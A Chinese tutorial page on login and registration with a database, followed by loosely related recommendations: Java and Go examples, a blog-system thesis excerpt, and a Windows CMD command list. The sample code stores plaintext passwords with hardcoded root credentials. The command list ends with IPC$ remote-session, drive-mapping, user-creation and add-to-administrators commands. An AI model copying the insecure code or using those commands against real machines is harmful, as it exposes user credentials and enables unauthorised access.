三层C/S结构登陆注册使用数据库

时间: 2023-05-28 08:07:01 浏览: 23
一、数据库设计 1. 用户表 - id: 用户ID - username: 用户名 - password: 密码 - email: 邮箱 - create_time: 注册时间 2. 登录日志表 - id: 日志ID - user_id: 用户ID - login_time: 登录时间 - login_ip: 登录IP地址 二、后端代码实现 1. 注册 用户注册时,需要将用户输入的信息插入到用户表中,并返回注册成功的消息。 ```python import pymysql def register(username, password, email): # 连接数据库 conn = pymysql.connect(host='localhost', user='root', password='123456', database='test', charset='utf8') # 获取游标 cursor = conn.cursor() # 插入数据 sql = "INSERT INTO user(username, password, email, create_time) VALUES (%s, %s, %s, NOW())" cursor.execute(sql, (username, password, email)) # 提交事务 conn.commit() # 关闭游标和连接 cursor.close() conn.close() # 返回注册成功的消息 return {'code': 0, 'msg': '注册成功'} ``` 2. 登录 用户登录时,需要查询用户表中是否存在该用户,并记录登录日志。 ```python import pymysql def login(username, password, ip): # 连接数据库 conn = pymysql.connect(host='localhost', user='root', password='123456', database='test', charset='utf8') # 获取游标 cursor = conn.cursor() # 查询用户是否存在 sql = "SELECT id, username, password FROM user WHERE username=%s AND password=%s" cursor.execute(sql, (username, password)) user = cursor.fetchone() # 如果用户存在,则记录登录日志 if user: user_id = user[0] # 插入数据 sql = "INSERT INTO login_log(user_id, login_time, login_ip) VALUES (%s, NOW(), %s)" cursor.execute(sql, (user_id, ip)) # 提交事务 conn.commit() # 返回登录成功的消息 return {'code': 0, 'msg': '登录成功'} else: # 返回登录失败的消息 return {'code': 1, 'msg': '用户名或密码错误'} ``` 三、前端代码实现 1. 注册 用户注册时,需要将用户输入的信息传递给后端,接收后端返回的消息,并给出相应的提示。 ```html <form onsubmit="register(); return false;"> <input type="text" name="username" required placeholder="请输入用户名"><br> <input type="password" name="password" required placeholder="请输入密码"><br> <input type="email" name="email" required placeholder="请输入邮箱"><br> <button type="submit">注册</button> </form> <script> function register() { var form = document.forms[0]; var data = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open('POST', '/register'); xhr.onload = function() { var result = JSON.parse(xhr.responseText); alert(result.msg); if (result.code === 0) { form.reset(); } }; xhr.send(data); } </script> ``` 2. 登录 用户登录时,需要将用户输入的信息传递给后端,接收后端返回的消息,并给出相应的提示。 ```html <form onsubmit="login(); return false;"> <input type="text" name="username" required placeholder="请输入用户名"><br> <input type="password" name="password" required placeholder="请输入密码"><br> <button type="submit">登录</button> </form> <script> function login() { var form = document.forms[0]; var data = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open('POST', '/login'); xhr.onload = function() { var result = JSON.parse(xhr.responseText); alert(result.msg); if (result.code === 0) { form.reset(); } }; xhr.send(data); } </script> ```

相关推荐

为了实现三层C/S结构的登陆和注册功能,需要分别设计和实现客户端、服务器和数据库三个部分。 1. 客户端部分 客户端部分主要负责与用户交互,包括用户输入账号密码、点击登陆或注册按钮等操作。具体实现可以使用Java Swing或JavaFX等GUI库来构建界面。在登陆或注册时,客户端需要向服务器发送请求,并接收服务器返回的响应信息,根据响应信息来判断登陆或注册是否成功。 2. 服务器部分 服务器部分主要负责处理客户端发送的请求,并与数据库进行交互。服务器可以使用Java Socket或Java NIO等网络编程库来实现。在收到客户端的登陆或注册请求时,服务器需要先验证账号密码是否正确或是否已经存在,然后将结果返回给客户端。 3. 数据库部分 数据库部分主要负责存储用户的账号密码信息。可以选择使用MySQL、Oracle、SQL Server等关系型数据库,也可以选择使用NoSQL数据库如MongoDB等。在登陆或注册时,服务器需要通过数据库查询来验证账号密码是否正确或是否已经存在。 具体实现步骤如下: 1. 设计数据库表结构 可以设计一个名为“user”的表,包含三个字段:id、username、password。其中id为自增主键,username和password分别用于存储用户的账号和密码。 2. 编写数据库操作类 可以使用JDBC或ORM框架如Hibernate等来实现数据库操作类。具体实现包括连接数据库、查询、插入、更新等操作。 3. 编写服务器程序 服务器程序主要负责接收客户端请求,并调用数据库操作类来查询或修改用户信息。具体实现包括创建服务器Socket、监听端口、接受客户端连接、接收客户端请求、解析请求、调用数据库操作类等。 4. 编写客户端程序 客户端程序主要负责与用户交互,并向服务器发送请求。具体实现包括创建GUI界面、处理用户输入、发送请求、接收响应、更新界面等。 以上是三层C/S结构的登陆和注册使用数据库的实现步骤。具体实现中需要考虑安全性和性能等问题,例如密码加密、SQL注入攻击等。
以下是一个基于Java的三层C/S结构的登陆注册程序,使用MySQL数据库进行数据存储。 1. 数据库设计 首先,需要创建一个名为“users”的数据库,其中包含一个名为“user_info”的表,用于存储用户的账号和密码信息。 CREATE DATABASE users; USE users; CREATE TABLE user_info ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(20) NOT NULL, password VARCHAR(20) NOT NULL ); 2. 服务器端代码 在服务器端,需要创建一个名为“Server”的类,用于监听客户端连接,并处理客户端请求。 import java.io.*; import java.net.*; import java.sql.*; public class Server { public static void main(String[] args) { try { ServerSocket serverSocket = new ServerSocket(8888); System.out.println("Server started."); while (true) { Socket socket = serverSocket.accept(); System.out.println("Client connected."); // 创建线程处理客户端请求 ClientHandler handler = new ClientHandler(socket); handler.start(); } } catch (IOException e) { e.printStackTrace(); } } } class ClientHandler extends Thread { private Socket socket; public ClientHandler(Socket socket) { this.socket = socket; } public void run() { try { BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); String request = reader.readLine(); // 处理登陆请求 if (request.equals("LOGIN")) { String username = reader.readLine(); String password = reader.readLine(); boolean success = login(username, password); if (success) { writer.write("LOGIN_SUCCESS\n"); writer.flush(); } else { writer.write("LOGIN_FAIL\n"); writer.flush(); } } // 处理注册请求 else if (request.equals("REGISTER")) { String username = reader.readLine(); String password = reader.readLine(); boolean success = register(username, password); if (success) { writer.write("REGISTER_SUCCESS\n"); writer.flush(); } else { writer.write("REGISTER_FAIL\n"); writer.flush(); } } socket.close(); System.out.println("Client disconnected."); } catch (IOException | SQLException e) { e.printStackTrace(); } } // 登陆方法 private boolean login(String username, String password) throws SQLException { Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/users", "root", ""); PreparedStatement statement = connection.prepareStatement("SELECT * FROM user_info WHERE username=? AND password=?"); statement.setString(1, username); statement.setString(2, password); ResultSet result = statement.executeQuery(); boolean success = result.next(); connection.close(); return success; } // 注册方法 private boolean register(String username, String password) throws SQLException { Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/users", "root", ""); PreparedStatement statement = connection.prepareStatement("INSERT INTO user_info (username, password) VALUES (?, ?)"); statement.setString(1, username); statement.setString(2, password); int rows = statement.executeUpdate(); connection.close(); return rows > 0; } } 3. 客户端代码 在客户端,需要创建一个名为“Client”的类,用于与服务器进行通信,并实现登陆和注册功能。 import java.io.*; import java.net.*; import java.util.Scanner; public class Client { public static void main(String[] args) { try { Socket socket = new Socket("localhost", 8888); System.out.println("Connected to server."); BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); Scanner scanner = new Scanner(System.in); while (true) { System.out.println("1. Login"); System.out.println("2. Register"); System.out.println("3. Quit"); System.out.print("Enter choice: "); int choice = scanner.nextInt(); // 处理登陆请求 if (choice == 1) { writer.write("LOGIN\n"); System.out.print("Enter username: "); String username = scanner.next(); writer.write(username + "\n"); System.out.print("Enter password: "); String password = scanner.next(); writer.write(password + "\n"); writer.flush(); String response = reader.readLine(); if (response.equals("LOGIN_SUCCESS")) { System.out.println("Login successful."); } else { System.out.println("Login failed."); } } // 处理注册请求 else if (choice == 2) { writer.write("REGISTER\n"); System.out.print("Enter username: "); String username = scanner.next(); writer.write(username + "\n"); System.out.print("Enter password: "); String password = scanner.next(); writer.write(password + "\n"); writer.flush(); String response = reader.readLine(); if (response.equals("REGISTER_SUCCESS")) { System.out.println("Registration successful."); } else { System.out.println("Registration failed."); } } // 退出程序 else if (choice == 3) { writer.write("QUIT\n"); writer.flush(); break; } } socket.close(); System.out.println("Disconnected from server."); } catch (IOException e) { e.printStackTrace(); } } } 以上代码实现了一个简单的登陆注册程序,可以通过客户端与服务器进行通信,并使用MySQL数据库存储用户信息。可以根据需求进行修改和扩展。
好的,我可以为您提供一些关于使用 Golang Gin 框架进行项目实战的建议。 首先,您需要安装 Golang 和 Gin 框架。安装过程可以参考官方文档进行操作。然后,您可以按照以下步骤进行项目实战: 1. 创建项目结构 在您的 GOPATH 目录下创建一个新的项目文件夹。通常情况下,您需要为项目创建以下子文件夹: . ├── main.go ├── config │ ├── config.go │ └── ... ├── controller │ ├── home_controller.go │ └── ... ├── middleware │ ├── auth.go │ └── ... ├── model │ ├── user.go │ └── ... ├── router │ ├── router.go │ └── ... └── service ├── user_service.go └── ... 2. 创建路由 在 router 文件夹中创建一个 router.go 文件,并编写以下代码: go package router import ( "github.com/gin-gonic/gin" "your-project/controller" "your-project/middleware" ) func SetupRouter() *gin.Engine { r := gin.Default() // 中间件 r.Use(middleware.AuthMiddleware()) // 路由 r.GET("/", controller.HomePageHandler) return r } 在上面的代码中,我们使用了 gin 框架中的 gin.Default() 函数来创建一个默认的 gin.Engine 实例,并使用中间件来进行身份验证。然后我们定义了一个路由,将根路径映射到 HomePageHandler 方法。 3. 创建控制器 在 controller 文件夹中创建 home_controller.go 文件,并编写以下代码: go package controller import ( "github.com/gin-gonic/gin" "your-project/service" ) func HomePageHandler(c *gin.Context) { users := service.GetAllUsers() c.JSON(200, users) } 在上面的代码中,我们定义了一个 HomePageHandler 方法,它接收一个 gin.Context 对象作为参数,并使用 service 层中的 GetAllUsers 函数获取所有用户的数据。然后我们使用 JSON 方法将数据以 JSON 格式返回给客户端。 4. 创建服务层 在 service 文件夹中创建 user_service.go 文件,并编写以下代码: go package service import "your-project/model" func GetAllUsers() []*model.User { // TODO: 查询数据库获取所有用户数据 return []*model.User{} } 在上面的代码中,我们定义了一个 GetAllUsers 函数,它返回一个包含所有用户数据的切片。在实际项目中,我们需要查询数据库来获取这些数据。 5. 创建模型 在 model 文件夹中创建 user.go 文件,并编写以下代码: go package model type User struct { ID int json:"id" Name string json:"name" Age int json:"age" } 在上面的代码中,我们定义了一个 User 结构体,它包含三个字段:ID、Name 和 Age。这些字段将用于存储每个用户的信息。 6. 创建配置文件 在 config 文件夹中创建 config.go 文件,并编写以下代码: go package config const ( DB_HOST = "localhost" DB_PORT = "3306" DB_USERNAME = "root" DB_PASSWORD = "password" DB_NAME = "your-database-name" ) 在上面的代码中,我们定义了一些常量,用于存储数据库配置信息。这些常量将在连接数据库时使用。 7. 连接数据库 在 service 层中的 GetAllUsers 函数中,我们需要连接数据库来获取所有用户数据。可以使用以下代码来连接 MySQL 数据库: go package service import ( "database/sql" "fmt" "your-project/config" "your-project/model" ) func GetAllUsers() []*model.User { // 连接数据库 db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s:%s)/%s", config.DB_USERNAME, config.DB_PASSWORD, config.DB_HOST, config.DB_PORT, config.DB_NAME, )) if err != nil { panic(err) } defer db.Close() // 查询所有用户数据 rows, err := db.Query("SELECT * FROM users") if err != nil { panic(err) } // 解析查询结果 users := []*model.User{} for rows.Next() { user := &model.User{} err := rows.Scan(&user.ID, &user.Name, &user.Age) if err != nil { panic(err) } users = append(users, user) } return users } 在上面的代码中,我们使用 sql.Open 函数来打开 MySQL 数据库连接。然后我们使用 db.Query 函数来查询所有用户数据,并使用 rows.Scan 函数将查询结果解析为 User 结构体的切片。 以上就是使用 Golang Gin 框架进行项目实战的流程。当然,在实际项目中,您需要根据自己的需求进行相应的修改和扩展。
application/msword
第一章 绪论 1.1. 选题背景 这几年,许多新名词涌入我们的视野:博客、圈子、播客、WAP等。这些都预示着我们进入了一个新的互联网阶段web 2.0,它是相对web 1.0的新的一类互联网应用的总称,是一次从核心内容到外部应用的革命[10]。这个阶段发展迅速,互联网应用趋于多样化,其中变化最大的是由web 1.0网站创造内容的时代变为由用户创造内容的web 2.0时代。 在web 2.0应用中,博客(Blog)是web 2.0核心应用中最典型、最流行的代表之一,也是web 2.0技术应用的最直观的表现,是web 2.0精神和理念的具体体现。 1.2. 问题的提出 Blog记载了日常发生的事情和自己的兴趣爱好,把自己的思想和知识和他人分享、交流,同时又通过“六度空间”结识了更多志趣相投的朋友;而越来越多专业知识的 Blog 的出现,让我们看到了 Blog 更多所蕴涵的巨大的信息价值:不同的 Blog 选择不同的内容,收集和整理成为很多人关注的专业 Blog ——目前越来越多的人获取信息的来源是一些固定的 Blog 。随着博客人数的增加, Blog 作为一种新的生活方式、新的工作方式、新的学习方式已经被越来越多的人所接受,并且在改变传统的网络和社会结构:网络信息不再是虚假不可验证的,交流和沟通更有明确的选择和方向性,单一的思想和群体的智慧结合变的更加有效,个人出版变成人人都可以实现的梦想—— Blog 正在影响和改变着我们的生活。 1.3. 系统的开发目标 管理员通过前台页面进入后台管理模块后,可对注册的博客用户进行维护,包括对注册用户的添加、查找、修改和删除。 管理员进入登录后,可对帐户进行管理,包括添加管理员帐户、修改管理员帐户、删除管理员帐户和对帐户进行权限设置。 博客用户通过前台登录后,可对自己的博客空间进行管理,包括发布自己的网络日志、收藏个人图片、和相关人员进行交流和沟通以及删除访问者发表的评论等。 因此,在具体设计实现该博客网站时,主要考虑了主流博客网站的几个主要功能:(1)博客的注册、登录验证功能(2) 网络用户通过关键字搜索博文功能(3) 最热门博客页面推荐浏览(4) 文章详细内容及相关评论显示(5) 博客页面访问量统计(6) 博客个人文章管理维护功能(7) 博客个人文章分类管理维护功能(8) 博客个人友情链接维护功能(9) 博客个人基本信息管理维护功能(10) 博客图片上传及个人相册管理(11) 网络用户写留言,博主查看留言。 第二章 系统设计 2.1. 系统分析 在整个blog进行开发之前,要确定出整个项目的整体架构,包括系统的选型、运行环境的确定及系统结构设计。下面对这进行详细介绍。 在进行软件系统开发的最初环节,一般都需要进行系统的选型,即根据系统功能的实际需求,选择合适的开发工具及软件架构。 blog对系统的可靠性、稳定性有比较高的要求。本系统设计时,比较主流的B/S设计有基于JSP、ASP、PHP、CGI及J2EE等模式。相比较而言PHP的功能相对简单,不适合做大程序;而CGI效率相对较低,所以也不考虑。由于J2EE的开源的框架中提供了MVC模式实现框架Struts、对象关系模型中的Hibernate 的框架及拥有事务管理和依赖注入的Spring。利用现存框架可以更快开发系统。所以选择Java技术作为blog 的开发工具。 为了增加系统的吞吐量,提高并发处理客户请求数量,系统采用了IBM服务器作为主机。在数据库处理方面,不需要在数据层借助存储过程及数据库服务器端函数封装过多的业务逻辑,因此数据库系统采用相对精巧的MySQL[6]。 该在线博客系统服务器端如果需要布置到其他主机上,则该主机必备条件如下: 1. 服务器端操作系统:独立于操作系统的跨平台系统,客户端MicroSoft Windows 2000及以上; 2. 数据库:MySQL 5.0.27版本; 3. Web服务器:Tomcat 5.5及以上版本,配合MVC设计模式及 Hibernate开发架构; 4. 客户端运行环境:能运行IE 5以上或Netscape 5以上浏览器的操作系统,配合使用Ajax技术; 5. 客户端运行工具:目前的系统采用浏览器作为客户端,为了支持Ajax开发框架,应该选择使用IE 5以上版本浏览器。 本网站以xp为Web平台,JSP+Ajax+Servlet+JavaBean+Hibernate为网站实现技术,建立基于MySQL数据库系统的核心动态网页,实现博客网站前台及博客个人维护管理等功能模块。 1、 系统处理的准确性和及时性:系统处理的准确性和及时性是系统的必要性能。在系统设计和开发过程中,要充分考虑系统当前和将来可能承受的工作量,使系统的处理能力和响应时间能够满足信息处理的需求。 2、 系统的开放性和系统的可扩充性:系统在开发过程中,应该充分考虑以后的可扩充性。例如数据表中用户选择字段方式的改变,用户查询的需求也会不断的更新和完善。所有这些,都要求系统提供足够的手段进行功能的调整和扩充。而要实现这一点,应通过系统的开放性来完成,既系统应是一个开放系统,只要符合一定的规范,可以简单的加入和减少系统的模块,配置系统的硬件。通过软件的修补、替换完成系统的升级和更新换代。 3、 系统的易用性和易维护性:要实现这一点,就要求系统应该尽量使用用户熟悉的术语和中文信息的界面;针对用户可能出现的使用问题,要提供足够的在线帮助,缩短用户对系统熟悉的过程。 4、 系统的数据要求:1、数据录入和处理的准确性和实时性。2、数据的一致性与完整性。3、数据的共享与独立性。 2.2. 系统的可行性分析 2.2.1. 技术可行性 技术上的可行性分析要考虑将来要采用的硬件和软件技术能否满足用户(这里是服务器,网速)提出的要求(如计算机的容量、速度等)。此外,还要考虑开发人员的水平,学习了两年的jsp开发,对于这个系统的编写,我想完整的之需要两个月就可以写出程序,再花上几天的调试,计划两个月左右就可以完成投入使用了。 我们掌握了数据库及其应用技术、数据库原理、计算机网络技术等课程,对数据库的设计、应用、维护及局域网的组成有了深刻的认识与一定的动手实践能力,考取了信息处理、程序设计、数据库技术等国家IT认证。从一定程度上具备了开发一个小型系统的能力。再有就! 2.2.2. 经济可行性 主要从对项目的经济上进行分析评价,一方面是支出的费用,包括设备购置费、管理和维护费用、人员工资和培训费等,另一个是取得的收益。这是个小型的系统,从投入的人力,财力与物力来讲是非常小的,发布出去之需要注册域名就可以了,从节省人力方面,可以让管理人员从繁与复杂的工作中解脱出来,做更多的工作。 2.2.3. 管理可行性 有IP地址、用户名与密码等,可以下载一个FTP上传工具(cure)上传更新后的内容.可以在http://www.skycn.com/soft/683.html下载到. 下载以后,通过"站点管理"-->"新建站点".输入IP,用户名,密码.然后连接即可. 当然也可用FTP工具.直接在IE浏览器地址栏输入ftp://www.域名/然后输入用户名和密码.同样可以上传.随时更新文件! 第三章 开发环境的说明与安装 3.1. 开发语言的选择 3.1.1. JAVA简介 Java是Sun公司推出的新的一代面向对象程序设计语言,特别适合于Internet应用程序开发。Java的产生与流行是当今Internet发展的客观要求,Java是一门各方面性能都很好的编程语言,它的基本特点是简单、面向对象、分布式、解释的、健壮的、安全的、结构中立的、可移植的、性能很优异的、多线程的、动态的,特别适合在Internet环境上开发的应用系统。 3.1.2. Web应用程序开发环境—JSP技术 JSP的全称是Java Server Pages,它是SUN推出的一种动态网页技术标准。它在传统的静态页面文件(*.html,*.htm)中加入JAVA程序片段和JSP标记,就构成了JSP页面。JSP具有以下的优点: 1、将业务层与表示层分离:使用JSP技术,网络开发人员可充分使用HTML来设计页面显示部分(如字体颜色等),并使用JSP指令或者JAVA程序片段来生成网页上的动态内容; 2、能够跨平台:JSP支持绝大部分平台,包括现在非常流行的LINUX系统,应用非常广泛的Apache服务器也提供了支持JSP的服务; 3、组件的开发和使用很方便:如ASP的组件是由C++,VB等语言开发的,并需要注册才能使用;而JSP的组件是用Java开发的,可以直接使用; 4、一次编写,处处运行:作为JAVA开发平台的一部分,JSP具有JAVA的所有优点,包括Write once , Run everywhere. 3.2. 数据库的选择 3.2.1. Web应用程序开发环境—SQLserver数据库 SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的。SQL Server 2000是Microsoft公司于2000年推出的最新版本。 SQL Server 特点:   1.真正的客户机/服务器体系结构。   2.图形化用户界面,使系统管理和数据库管理更加直观、简单。   3.丰富的编程接口工具,为用户进行程序设计提供了更大的选择余地。   4.SQL Server与Windows NT完全集成,利用了NT的许多功能,如发送和接受消息,管理登录安全性等。SQL Server也可以很好地与Microsoft BackOffice产品集成。   5.具有很好的伸缩性,可跨越从运行Windows 95/98的膝上型电脑到运行Windows 2000的大型多处理器等多种平台使用。   6.对Web技术的支持,使用户能够很容易地将数据库中的数据发布到Web页面上。   7.SQL Server提供数据仓库功能,这个功能只在Oracle和其他更昂贵的DBMS中才有。   SQL Server 2000与以前版本相比较,又具有以下新特性 :   1.支持XML(Extensive Markup Language,扩展标记语言)   2.强大的基于Web的分析   3.支持OLE DB和多种查询   4.支持分布式的分区视图   安装、运行SQL Server 2000的硬件需求   (1)计算机   Inter及其兼容计算机,Pentium 166Mz或者更高处理器或DEC Alpha和其兼容系统。   (2)内存(RAM)   企业版最少64MB内存,其他版本最少需要32MB内存,建议使用更多的内存。   (3)硬盘空间   完全安装(Full)需要180MB的空间,典型安装(Typical)需要170MB的空间,最小安装(Minimum)需要65MB的空间。 3.3. 开发工具的选择 MyEclipse,Deamweare,选择SQLserver作为后台的数据库,选择JAVA、JSP、JavaScript、Html作为应用程序开发工具,运用Tomcat服务器技术,整个系统完全基于B/S (Browser/Server)模式进行设计。 1、Tomcat应用服务器 目前支持JSP的应用服务器是较多的,Tomcat是其中较为流行的一个Web服务器,被JavaWorld杂志的编辑选为2001年度最具创新的Java产品,可见其在业界的地位。 Tomcat是一个免费的开源的Serlvet容器,在Tomcat中,应用程序的部署很简单,你只需将你的WAR放到Tomcat的webapp目录下,Tomcat会自动检测到这个文件,并将其解压。你在浏览器中访问这个应用的Jsp时,通常第一次会很慢,因为Tomcat要将Jsp转化为Servlet文件,然后编译。编译以后,访问将会很快。 Tomcat也具有传统的Web服务器的功能:处理Html页面。但是与Apache相比,它的处理静态Html的能力就不如Apache。我们可以将Tomcat和Apache集成到一块,让Apache处理静态Html,而Tomcat处理Jsp和Servlet。Tomcat是一个很好的工具,不仅仅因为其免费,功能强大,更因为其开放性,越来越受到人们的重视。 2、 B/S 开发模式 伴随着Internet的迅速发展,计算机技术正在由基于C/S(client/ Server)模式的应用系统转变为基于B/S模式的应用系统。 过去,网络软件的开发都采用C/S(client)模式,在这种模式下,主要的业务逻辑都集中于客户端程序,因此,必然导致以下问题: 系统安装、调试、维护和升级困难。由于客户端的硬件配置可能存在差异,软件环能各不相同,因此,在安装时,必须对每一个客户端分别进行配置,同样,在软件升级时也要对客户端分别处理。 B/S模式带来了巨大的好处: 开发成本及维护成本降低。由于B/S架构管理软件只安装在服务器端(Server)上,即应用程序在部署、升级、维护时,只需要在服务器端进行配置就可以了,网络管理人员只需要管理服务器就行了,用户界面主要事务逻辑在服务器(Server)端完全通过WWW浏览器实现,极少部分事务逻辑在前端(Browser)实现,所有的客户端只有浏览器,网络管理人员只需要做硬件维护。 良好的安全性能,防火墙技术可以保证后台数据库的安全性。所有的配置工作都集中在服务器端且所有客户端请求都是通过DBMS来访问数据库,从而大大减少了数据直接暴露的风险。 第四章 系统设计 4.1开发框架技术介绍 对于框架技术,我们采用Struts+ajax的整合! Struts是应用比较广泛的一种表现层框架 1、 Struts是一个为开发基于模型(Model)-视图(View)-控制器(Controller)(MVC)模式的应用架构的开源框架,是利用Servlet,JSP和custom tag library构建Web应用的一项非常有用的技术。由于Struts能充分满足应用开发的需求,简单易用,敏捷迅速。它使用服务层框架可以将JavaBeans从Jsp/Servlet中分离出来,而使用表现层框架则可以将Jsp中剩余的JavaBeans完全分离,这部分JavaBeans主要负责显示相关信息,一般是通过标签库(Taglib)实现,不同框架有不同自己的标签库,Struts是应用比较广泛的一种表现层框架。 2、 Ajax我们主要应用就是xmlhttprequest,回调函数实现局部刷新达道数据更新! 4.2需求分析 Blog网站主要是实现注册用户登录、管理相关信息、博文及相关评论、查看留言、友情链接、及图片的上传和图像的播放而为上网用户提供按博文主题搜索,查看注册用户的博文及提出相关评论,并为注册用户写留言,游览注册用户的相册、注册等功能的系统。下面就以两种不同的用户来分析博客网站的需求。 4.2.1注册博友 首先必须在博客首页中登录填写用户名和密码,这样才能执行一些相关操作,不然就是普通用户只能查看一些信息,而不能发表博文。可以在管理页面上添加博文的分类,可以上传图片和游览自己的相册,在上传过程中可以将一张图片定义为自己的签名,在个人管理页面中注册用户还可以修改自己的个人信息。博文管理,友情链接管理及博文分类管理,用例图2。 图2 博客管理页面的用例图 在博客主界面中发表博文时可以选择博文类型,这样可以更好管理自己的博文。并查看和删除网友对自己的博文的一些评论、查看和删除网友留下的一些留言,提供与其他网友交流的空间。更好交流,在信息时代人们通过个人空间沟通也用来但不能在自己的博客主页面中提交评论和留言。。这样在本系统中就可以为博友提供更多的个人色彩。在管理页面中添加和删除友情连接。这样博友可以在自己空间中快速定位自己的关心的网站。这样还可以让网友看到自己的一些信息。友情链接及网页访问量统计显示:在博客的个人页面中还提供了推荐给普通网络用户的相关友情链接,此外,对个人页面的访问量也在随时进行统计,并在个人页面中进行直观的显示。 博客主页面的用例图如图3所示: 图3 博客主页面的用例图 4.2.2 普通用户 在博客注册页面注册成为博客的注册用户,才可以拥有自己独立的空间,进入某一博客页面查看相关文章信息时,可以随时对自己所感兴趣的文章发表评论,同时也可以查看到其他人针对该博文的评论。普通用户在阅读博文时可以在最后留下自己的一些评论。他也可以留下更多的信息。这样他可以写留言。这样他留下的信息就更快地被博友所看到。普通用户进入博友的用例图如图4所示: 图4上网博友在博客主页面的用例图 普通网友可以搜索自己关心的一些数据。并且在搜索结果中提供在结果范围内再次搜索。这样就可以将范围缩小。首页向注册用户提供登陆模块,注册用户在博客网站首页跟上网网友一样可以查看博客和博文推荐。上网网友可以注册成为博客用户,拥有自己独立的空间。这一模块的用例图如图5所示: 图5 博客首页的用例图 4.3 功能模块介绍 4.3.1 博客注册登录管理模块 博客注册登录管理模块用于建立博客网站固定的客户群体,通过记录对应的博客档案,实现对博客信息的后台维护及管理,同时也便于通过博客档案库将网站最新动态及相关企业的信息方便地传达给每一位潜在的客户。 该功能模块实现了以下几个子功能。 (1)新博客在线注册。 (2)博客登录管理。 (3)跳转到博客主页。 只有进行登录并通过身份验证的用户,才可以在个人博客页面发表日志,并借助个人设置实现对个人博客相关信息的管理维护。对于没有经过身份验证的网络用户不允许在博客页面中发表日志,更不允许对博客页面信息进行管理维护。 该模块实现新博客的注册及登录验证功能。其中,注册新博客时会对用户输入的注册信息进行有效性验证,包括基本数据格式的有效性以及逻辑有效性,例如,用户名被占用时将及时给出提示。注册成功的博客登录时,会随时根据博客输入的登录信息进行提示,如用户名错误或者密码错误。
doc
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务 